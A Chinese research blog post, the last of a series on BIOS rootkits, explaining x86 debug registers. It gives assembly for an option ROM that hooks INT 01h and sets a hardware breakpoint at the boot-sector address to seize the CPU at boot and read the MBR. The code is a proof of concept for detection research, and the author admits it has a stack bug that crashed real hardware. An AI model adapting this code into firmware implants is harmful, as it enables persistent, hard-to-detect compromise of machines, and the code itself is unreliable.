BIOS Rootkit实现分析与检测技术研究系列之--设置硬件断点躲避IVT Hook检测程序
本节目录
1. 引言
2. 硬件断点
3. 使用硬件断点控制CPU流程
4. 小结
引言
Kris Kaspersky在《Shellcoder 编程揭秘》一书中提到:“主BIOS代码通常加载位于0000:7C00h地址的boot/MBR扇区,并把控制权交给它。在这个地址设置硬件断点,当所有的设备初始化之后,立即触发它。”
在这篇文章中,我们讨论另外一种躲避IVT Hook检测程序的方法。这里我们将通过设置硬件断点来实现。本文只进行技术研究,文中涉及到的技术有一定的危害性,请不要利用文中技术从事任何触犯法律法规的活动。否则一切后果由用户自行承担,与本文作者无关。
硬件断点
先从张银奎先生的著作《软件调试》中,引用一下关于调试寄存器和硬件断点的相关概念。
Intel从386开始,在调试方面引入了调试寄存器和硬件断点的概念。
IA-32处理器定义了8个调试寄存器,分别为DR0~DR7。在32位模式下,它们都是32位的;在64位模式下,都是64位。
DR4和DR5是保留的。其他6个寄存器为:4个32位的调试地址寄存器(DR0~DR3);1个32位的调试控制寄存器(DR7)和1个32位的调试状态寄存器(DR6)。通过以上寄存器可以最多设置4个断点,DR0~DR3用来指定断点的内存(线性地址)或I/O地址。DR7用来进一步定义断点的中断条件。DR6的作用是当调试事件发生时,向调试器(debugger)报告事件的详细信息,以供调试器判断发生的是何种事件。
调试地址寄存器(DR0~DR3)用来指定断点的地址。对于设置在内存空间中的断点,这个地址应该是断点的线性地址而不是物理地址,因为CPU是在线性地址被翻译为物理地址之前来做断点匹配工作的。这意味着,在保护模式下,我们不能使用调试寄存器来针对一个物理内存地址设置断点。
调试控制寄存器DR7,有24位是被分成4组分别与四个调试地址寄存器相对应。如L0、G0、R/W0和LEN0这6位是与DR0相对应的,L1、G1、R/W1和LEN1是与DR1相对应的,依此类推。就与DR0相对应的6位来说:
R/W0为读写域,占第16、17位。其对应DR0提哦是地址寄存器,用来指定被监控地址的访问类型。00代表仅当执行对应地址的指令时中断;01代表仅当向对应地址写数据时中断;10对于386和486都不支持这种组合。11代表当向相应地址读写数据时都中断,但是从该地址读取指令除外。
LEN0为长度域,占第18、19位。其对应DR0提哦是地址寄存器,用来指定要监控的区域长度。00代表1个字节长;01代表2个字节长;10代表8个字节长;11代表4字节长。
L0为局部断点启用标志位,占第0位。其对应DR0提哦是地址寄存器,用来启用或禁止对应断点的局部匹配。如果该位设为1,当CPU在当前任务中检测到满足所定义的断点条件时便中断,并且自动清除次位。如果该位设为0,便禁用此断点。
G0为全部断点启用位,占第1位。其对应DR0提哦是地址寄存器,用来全局启用和禁止对应的断点。如果该位设为1,当CPU在任何任务中检测到满足所定义的断点条件时都会中断;如果该位设为0,便禁止此断点。与L0不同,断点条件发生时,CPU不会清除此位。
LE和GE位,LE占第8位,GE占第9位。从486开始的IA-32处理器都忽略这两位的设置。
GD为通用保护设置位,占第13位。该位启用或者禁止对寄存器的保护。当设为1时,如果CPU检测到将修改调试寄存器(DR0~DR7)的指令时,CPU会在执行这条指令前产生一个调试异常。
对于R/W0读写域,通过对其设置,我们又可以指定断点的访问类型,如监控对全局变量或局部变量读写操作的数据访问断点;监控CPU执行指令的指令断点;监控I/O空间读写操作的I/O访问断点。当硬件断点触发时,系统会产生调试异常,并用int 01h号中断来进行默认处理。
更多细节,可参考《软件调试》一书。
使用硬件断点控制CPU流程
通过上述对硬件断点的简单介绍,我们可以发现,如果在BIOS启动运行时的关键内存地址进行硬件断点设置,同时修改int 01h中断(如使用Hook IVT的方法)指向我们的自定义程序,当断点触发时我们就有机会控制CPU流程,借此得到机会运行我们的BIOS Rootkit。《Shellcoder 编程揭秘》一书中,选择的内存地址为0000h:7c00h,即BIOS加载MBR以进行系统引导的默认地址。Kris Kaspersky提供了设置硬件断点的示例代码,如下:
;------------------------------------------------------------
MOV AX, CS ; Trap the INT 01h interrupt
XOR BX, BX
MOV DS, BX
MOV [BX], offset our_vx_code ; Offset of the custom handler
MOV [BX+2], BX ; in relation to segment 0000h
MOV DS, AX
MOV EAX, 00000000000000001100000010b
; | | | | | | | |__> Bit Lx can be set.
; | | | | | |
; | | | | | |___________> Bits LE & GE. P6 ignores
; | | | | them. Therefore, their
; | | | | value is not critical.
; | | | |
; | | | |__________________> Interrupt by execution.
; | |
; | |__________________________> LEN Breakpoint length-1 byte
MOV EBX, 7C00h
; ^^^^^^ - Linear physical buffer address,
; by which the boot sector will be loaded.
MOV DR7, EAX
MOV DR0, EBX
; ^ Load the values into debug registers. Starting from this point,
; any access to the breakpoint will generate INT 01h.
;------------------------------------------------------------
以上程序摘自《Shellcoder 编程揭秘》
我们把上述程序进行实际测试(主要测试设置DR7调试控制寄存器的值),发现以上程序不能在地址0000h:7c00h处正常触发硬件断点。通过实验,我们改进了DR7触发条件,得到程序如下:
;--------------------------------------------------------------
;
; HardBp.asm
;
; by Jacky Peng 2008.8.8
;
; 设置硬件中断来取得CPU控制权
;
;--------------------------------------------------------------
;restore origin int 19h
old_int01h equ 85h*4
;org head
org 0
;isa rom head
dw 0aa55h
db 01h
;jmp begin of program
jmp begin
;---------------------------- 字符串常量 ------------------------------
msgShow db 'Our own Int 01h procedure!',0
;----------------------------------------------------------------------
;-------------------------------- 实用子程序 来自romos项目 ----------------------------
;----------------------------- 打印16进制(字)--------------------
whexw:
xchg dh,dl
call whexb
xchg dh,dl
call whexb
ret
;----------------------------- 打印16进制(字节)------------------
whexb:
push ax
push dx
pushf
mov dh,dl
and dl,00fh
and dh,0f0h
ror dh,4
call @whb1
mov dh,dl
call @whb1
popf
pop dx
pop ax
ret
@whb1:
cmp dh,0ah
jc @whb2
add dh,7
@whb2:
add dh,'0'
mov ah,0eh
mov al,dh
int 10h
ret
;----------------------------- 打印字符串 ------------------------
write:
pusha
pushf
push bx
call wherexy
mov ah,9
xor cx,cx
xchg cl,bh
and cl,7fh
@wri1:
mov al,[cs:si]
cmp al,0
je @wri2
int 10h
inc si
inc dl
call gotoxy
jmp short @wri1
@wri2:
pop bx
cmp bh,80h
js @wri3
popf
popa
wcrlf:
pusha
pushf
mov ax,0e0dh
xor bl,bl
int 10h
mov al,0ah
int 10h
@wri3:
popf
popa
ret
;----------------------------- 打印16进制地址(DX:CX) ------------------------
whexptr:
push ax
push bx
call whexw
xchg dx,cx
xor bl,bl
mov ax,0e3ah
int 10h
call whexw
xchg dx,cx
pop bx
pop ax
ret
;----------------------------- 调整光标位置-----------------------
wherexy:
push ax
push bx
push cx
mov ah,3
mov bh,0
int 10h
pop cx
pop bx
pop ax
ret
;----------------------------- 调整光标位置-----------------------
gotoxy:
push ax
push bx
mov ah,2
mov bh,0
int 10h
pop bx
pop ax
ret
;----------------------------- 延迟函数 -----------------------
delay:
sti
push ax
push es
pushf
push byte 0
pop es
mov al,[es:046ch]
add ah,al
@dly1:
mov al,[es:046ch]
cmp ah,al
jne @dly1
popf
pop es
pop ax
ret
;-------------------------------- 实用子程序完 来自romos项目 --------------------------
;-------------------------------- 自定义的int 01h中断例程 --------------------------
OurInt01h:
pushf
pusha
; 运行自定义程序,这里进行简单的字符串显示
call wcrlf
mov si,msgShow
mov bx,810eh
call write
mov ah,20
call delay
push byte 0
pop es
mov ax,0201h
mov bx,0200h
mov cx,0001h
mov dx,0080h
int 13h
mov dx,[es:0200h]
mov cx,[es:0204h]
call wcrlf
call whexptr
call wcrlf
quit:
inc al
mov [cnt],al
pop ax
push es
push si
push di
push cx
push dx
push byte 0
pop es
mov si,01h*4
mov di,old_int01h
mov cx,[es:di]
mov [es:si],cx
mov dx,[es:di+2]
mov [es:si+2],dx ; 恢复int 01h原始中断向量
pop dx
pop cx
pop di
pop si
pop es
popa
mov ax,[es:si+2]
push ax
mov ax,[es:si]
push ax
iret ; 恢复到int 01h原始地址运行
;-----------------------------------------------------------------------------------
;----------------------------- 主程序(Hook Int 01h程序来自romos项目)-----------------
begin:
;------------------------------------------------------------------------------
pushf
pusha
mov ax,0
mov es,ax
mov si,01h*4
mov di,old_int01h
mov cx,[es:si]
mov [es:di],cx
mov dx,[es:si+2]
mov [es:di+2],dx ; 保存
mov [es:di-1],byte 0eah
mov [es:si],word OurInt01h
mov [es:si+2],cs ; hook
popa
popf
;-----------------------------------------------------------------------------
pushf
pusha
mov ax,cs
mov ds,ax
; mov eax,00000000000000001100000010b
mov eax,00000000000000110010001100000011b
; || | || ||
; || | || ||______> Bit Lx can be set.
; || | || |_______> Bit Gx - any.
; || | ||
; || | |-______________> Bits LE & GE. P6 ignores them. Therefor, their value is not critical.
; || |
; || |___________________>
; ||
; |-______________________>
;
;
;
; mov eax,00000000000000110010001100000011b
mov ebx,7c00h
mov dr7,eax
mov dr0,ebx
popa
popf
retf
;----------------------------- 主程序结束 --------------------------
times 512-($-$$) db 0
;------------------------------------------------------------
程序通过设置硬件断点直接操纵磁盘,读取MBR数据。原来测试结果的相关的图片找了一下午都没找到,可能清理机子的时候弄丢了,抱歉。
在测试过程中被Bochs欺骗了一次。这个程序本来在Bochs中正常运行,于是把它刷写进家里台式机的BIOS。结果,MBR是读出来了,机子也死了。没办法,拆了主板,花了30RMB抱去给维修店用编程器恢复了一次。问题可能出在这个程序的堆栈平衡存在问题。建议大家用Bochs调试,不要实际刷写进BIOS。当然,只读个MBR,确实也没多大意思。^_^
这种方法验证以后,在xfocus上搜索到一篇也是利用硬件断点的文章。作者的目标是操纵windows操作系统,哈,异曲同工呀。
小结
本文是这个系列的最后一篇。回顾这个系列,我们讨论了BIOS Rootkit实现的典型机制,并在此基础上提出了一些相应的检测思路。这些思路都是一些稚嫩的尝试,旨在抛砖引玉。现在,BIOS Rootkit实现的相关技术,也在不断向PCI设备、嵌入式设备等硬件蔓延。而本系列中提出的检测技术和方法,也许可以为这些领域的检测研究提供一些思路。感谢大家的支持。最后附上我毕业论文的完整技术实现(其实就是这个系列文章的汇总),希望和大家交流、共同提高。
再次感谢大家的支持
ppanger 2008.12.18.